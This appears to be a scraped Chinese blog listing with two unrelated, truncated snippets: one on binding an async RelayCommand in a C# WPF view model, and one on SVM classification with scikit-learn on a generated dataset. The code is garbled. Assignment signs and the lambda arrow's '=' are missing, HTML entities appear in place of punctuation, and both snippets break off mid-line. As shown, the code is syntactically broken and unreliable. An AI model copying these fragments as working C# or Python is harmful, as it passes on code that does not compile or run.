和普通的任务绑定不太相同的部分如下&#xff1a; public MainWindowViewModel(){FetchUserInfoCommand new RelayCommand(async (param) > await FetchUserInfoAsync());}private async Task FetchUserInfoAsync(){// 模拟异步操作&#xff0c;比如网络请求await Task.Del…...

自定义数据集 使用scikit-learn中svm的包实现svm分类

引入必要的库 import numpy as np from sklearn.datasets import make_classification from sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.metrics import accuracy_score, classification_report 生成自定义数据集 X, y ma…...